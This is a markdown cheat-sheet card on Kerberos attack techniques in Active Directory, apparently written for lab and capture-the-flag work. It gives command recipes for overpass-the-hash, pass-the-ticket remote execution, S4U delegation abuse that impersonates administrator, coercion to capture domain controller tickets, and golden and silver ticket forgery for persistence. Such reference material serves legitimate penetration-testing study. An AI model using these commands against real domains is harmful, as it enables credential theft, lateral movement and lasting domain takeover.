# kerberos — tickets, tokens & the -k dance The auth mechanics behind the AD kill-chain: how tickets are requested, stored and replayed. Roasting, DCSync and ADCS live in `cheat ad` — this card is the plumbing underneath them (ccache handling, `-k` flows, delegation, forged tickets). Most tools read the DC from `$TARGET` and the ticket from `$KRB5CCNAME`. ## How it flows (why -k works) ``` kinit / getTGT ──▶ TGT (krbtgt) "who you are" → saved to a .ccache └── getST / auto ─▶ TGS (service) "what you can use" → for cifs/http/… SPN KRB5CCNAME points at the .ccache; every tool with -k -no-pass reads it. ``` - **TGT** = identity, issued by the KDC. **TGS/ST** = per-service ticket (`cifs/dc`, `http/web`), what you actually present to a host. - `-k -no-pass` means "don't send a password — use the ticket in `$KRB5CCNAME`". No ccache exported ⇒ Kerberos silently fails. ## Get a ticket - **`impacket-gettgt /: -dc-ip `** — `getTGT.py`; writes `user.ccache`. With **`-hashes :`** instead of `:pass` = **overpass-the-hash** (NTLM → full TGT). - **`impacket-gettgt / -aesKey `** — request with an AES key (stealthier; RC4 downgrade is watched). - **`impacket-getst -spn cifs/ /: -dc-ip `** — `getST.py`; request a service ticket directly. - Native: **`kinit user@DOMAIN.HTB`** (uppercase realm) → **`klist`** to inspect · **`kdestroy`** to clear. ## Use the ticket — pass-the-ticket - **`ptt [target]`** — prints the replay lines (it does **not** export — run the `export` it prints): ``` export KRB5CCNAME= # the cache -k reads psexec.py -k -no-pass wmiexec.py -k -no-pass netexec smb -k --use-kcache evil-winrm -i -r # -r = realm ``` - Add **`-dc-ip`** / **`-target-ip`** when DNS is broken. Connect by **hostname, not IP** — the SPN is `cifs/dc01`, and an IP has no SPN (`KRB_AP_ERR_...`). ## Ticket file conversions | Have | Want | Command | |---|---|---| | `.kirbi` (Rubeus/Windows) | `.ccache` (impacket) | `ticketConverter.py in.kirbi out.ccache` | | `.ccache` | `.kirbi` | `ticketConverter.py in.ccache out.kirbi` | | base64 blob | file | `base64 -d <<<'…' > t.kirbi` | ## S4U — delegation abuse Turn a delegation edge (BloodHound flags it) into a ticket **as any user**: - **Constrained / RBCD:** `impacket-getst -spn cifs/ -impersonate administrator '/:' -dc-ip ` → yields `administrator.ccache` → `ptt` it. - **Unconstrained:** capture a TGT with `krbrelayx` / coerce (`PetitPotam`, `printerbug`) → the DC's TGT lands in your cache → DCSync (`cheat ad`). ## Forge a ticket (post-DCSync) Needs a secret you already stole — this is persistence, not a foothold. - **Golden** (own `krbtgt` hash → any user, any service): ``` ticketer.py -nthash -domain-sid -domain administrator export KRB5CCNAME=administrator.ccache && psexec.py -k -no-pass ``` - **Silver** (own a service account hash → that one service only, no KDC contact — quieter): `ticketer.py -nthash -domain-sid -domain -spn cifs/ `. - `-domain-sid` comes from `lookupsid.py` or `nxc … --rid-brute`. ## When Kerberos "randomly" breaks | Symptom | Cause → fix | |---|---| | `KRB_AP_ERR_SKEW` | clock drift → **`ntpdate `** (or `faketime`, or `sudo rdate -n `) | | `KDC_ERR_S_PRINCIPAL_UNKNOWN` | connected by IP / wrong SPN → use the **hostname**, add to `/etc/hosts` | | `KDC_ERR_PREAUTH_FAILED` | bad password/hash, or account needs pre-auth | | tool ignores your creds | `-k` set but `$KRB5CCNAME` empty/stale → **`echo $KRB5CCNAME`**, re-`export` | | `KDC_ERR_ETYPE_NOSUPP` | RC4 disabled → request with `-aesKey` | > Mental model: **TGT = who you are, TGS = what you can touch, `$KRB5CCNAME` = which ticket is live.** When `-k` misbehaves, `echo $KRB5CCNAME` and `klist` before anything else — 90% of "Kerberos is broken" is an empty cache or a skewed clock. Roasting & DCSync that *produce* these tickets: `cheat ad`. Replaying hashes without Kerberos at all: `pth` in `cheat ad` / `cheat nxc`.